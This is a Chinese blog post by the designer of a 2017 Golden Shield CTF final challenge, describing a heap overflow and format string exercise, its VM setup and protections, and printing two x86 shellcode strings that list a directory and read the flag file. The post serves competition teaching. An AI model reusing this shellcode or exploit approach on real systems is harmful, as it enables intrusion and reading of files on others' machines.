2019年8月1日 星期四

106年金盾決賽試題 - Heap overflow

在整理檔案時,發現封存在D槽已久的檔案,這個檔案就是當時負責的計劃”金盾決賽題目”,我被分配到的題目難度是困難的等級,因此就有一些大膽的想法。就在不久之前,有同事約我打Defcon的競賽,那次也是第一次參與這個競賽,只解出幾題,同時也發現竟然這些題目都是跟Linux漏洞相關的題目,像是stack、heap、format string等等的弱點分析,當下覺得蠻驚訝的,因為這些都是以前在大學研究過的弱點,很少競賽會將題目出的如此實戰,所以藉由這次比賽經驗,能讓我將題目設計的更加實戰。

設計此題的動機是想要讓參賽的學生,學習如何利用code review(逆向工程)的方式找出存在弱點的程式碼,並且撰寫Exploit去利用此弱點,並獲取題目的flag。

一、題目下載連結

https://drive.google.com/file/d/1gPwiAusfQoY81U58pOliqOZ1IAmwWRw2/view?usp=sharing

二、題目說明

題目的壓縮檔會有三個檔案,其中databases是主程式,ld.so(建立ld-linux.so.2的連結)和libc.so(建立libc.so.6的連結)是修改過的Library,需要將Library的連結建立在自己的環境,才會跟伺服端的一樣。

libc.so修改了heap相關的API讓以前的弱點被啟用。



三、虛擬機下載連結

https://drive.google.com/file/d/1eU-JLLg1TYsI3EA0uHISsHozpzy6Nle1/view?usp=sharing

四、虛擬機說明

此虛擬機是CentOS 6.0,裡面的環境都設定好了,只要開機就能運作弱點程式(10000 Port),root密碼是123456。

五、弱點說明

題目的設計總共有2個主要弱點Heap overflow和Format string vulnerability,需要利用這些弱點來獲取伺服端的Flag。

六、防護說明

1. ASLR (Address space layout randomization): kernel.randomize_va_space = 2

2. 伺服端有hook_execve2.ko防護程式,防止被參賽者開shell,只能讀取資料夾和檔案。



七、解答

解題程式碼下載連結:

1.讀取資料夾內容的shellcode

"\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\x51\xb0\x2e\x50\xb0\x05\x89\xe3\xcd\x80\x93\xb2\xff\x29\xd4\x89\xe1\x31\xc0\xb0\x8d\xcd\x80\x31\xdb\x43\x89\xe1\x31\xc0\xb0\x04\xcd\x80\x31\xc0"

在終端上顯示資料夾,有些字元可能會亂碼,使用Wireshark檢視,就不會有此問題。



2.讀取flag檔案的shellcode

"\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x66\x6c\x61\x67\x89\xe3\xcd\x80\x93\x91\xb0\x03\x66\xba\xff\x0f\x42\xcd\x80\x92\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x93\xcd\x80"